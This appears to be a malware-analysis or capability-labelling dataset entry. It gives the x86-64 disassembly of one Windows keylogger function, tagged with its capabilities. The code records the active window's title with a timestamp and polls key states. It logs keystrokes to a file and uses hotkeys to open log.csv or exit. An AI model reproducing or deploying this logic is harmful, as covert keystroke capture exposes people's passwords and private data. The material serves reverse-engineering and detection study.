Function at 0x140001757
Capabilities:
Create process on windows
Get graphical window text
Log keystrokes via polling
Terminate process

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov qword [rbp + 0xf8], rdx
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov r8d, 0x100
lea rdx, [0x1400101a0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [0x1400100a0]
mov rdx, rax
lea rax, [0x1400101a0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001852
mov ecx, 0
call sym.time
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x48]
mov rcx, rax
call sym.ctime
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xf8]
lea rdx, [0x14000b050]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xc8]
mov r9, rdx
lea r8, [0x1400101a0]
lea rdx, str._n_n_s_t_t_s
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sym.fclose
lea rax, [0x1400101a0]
mov rdx, rax
lea rax, [0x1400100a0]
mov rcx, rax
call sym.strcpy
mov ecx, 0x11
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140001892
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140001892
mov ecx, 0x47
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140001892
mov eax, 1
jmp 0x140001897
mov eax, 0
test al, al
je 0x1400018d1
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.log.csv
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0x11
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140001911
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140001911
mov ecx, 0x51
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140001911
mov eax, 1
jmp 0x140001916
mov eax, 0
test al, al
je 0x140001924
mov ecx, 0
call sym.exit
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0xf8]
lea rdx, [0x14000b050]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xc0], rax
mov eax, dword [rbp + 0xf0]
cmp eax, 0x10
jne 0x14000197c
mov rax, qword [rbp + 0xc0]
lea r8, str._SHIFT_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0xd
jne 0x1400019a9
mov rax, qword [rbp + 0xc0]
lea r8, str._RETURN_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 8
jne 0x1400019d6
mov rax, qword [rbp + 0xc0]
lea r8, str._BACK_SPACE_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 1
jne 0x140001a03
mov rax, qword [rbp + 0xc0]
lea r8, str._LButton_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x1b
jne 0x140001a30
mov rax, qword [rbp + 0xc0]
lea r8, str._ESCAPE_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x11
jne 0x140001a5d
mov rax, qword [rbp + 0xc0]
lea r8, str._CTRL_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x14
jne 0x140001a8a
mov rax, qword [rbp + 0xc0]
lea r8, str._CAPS_LOCK_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x12
jne 0x140001ab7
mov rax, qword [rbp + 0xc0]
lea r8, str._ALT_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 9
jne 0x140001ae4
mov rax, qword [rbp + 0xc0]
lea r8, str._TAB_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x25
jne 0x140001b11
mov rax, qword [rbp + 0xc0]
lea r8, str._LEFT_ARROW_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x27
jne 0x140001b3e
mov rax, qword [rbp + 0xc0]
lea r8, str._LEFT_RIGHT_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x26
jne 0x140001b68
mov rax, qword [rbp + 0xc0]
lea r8, str._LEFT_UP_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x28
jne 0x140001b92
mov rax, qword [rbp + 0xc0]
lea r8, str._LEFT_DOWN_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov eax, dword [rbp + 0xf0]
cmp eax, 0x20
jne 0x140001bbc
mov rax, qword [rbp + 0xc0]
lea r8, str._SPACE_KEY_
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140001bd9
mov rax, qword [rbp + 0xc0]
lea r8, [rbp + 0xf0]
lea rdx, [0x14000b071]
mov rcx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.fclose
mov eax, 0
add rsp, 0x160
pop rbp
ret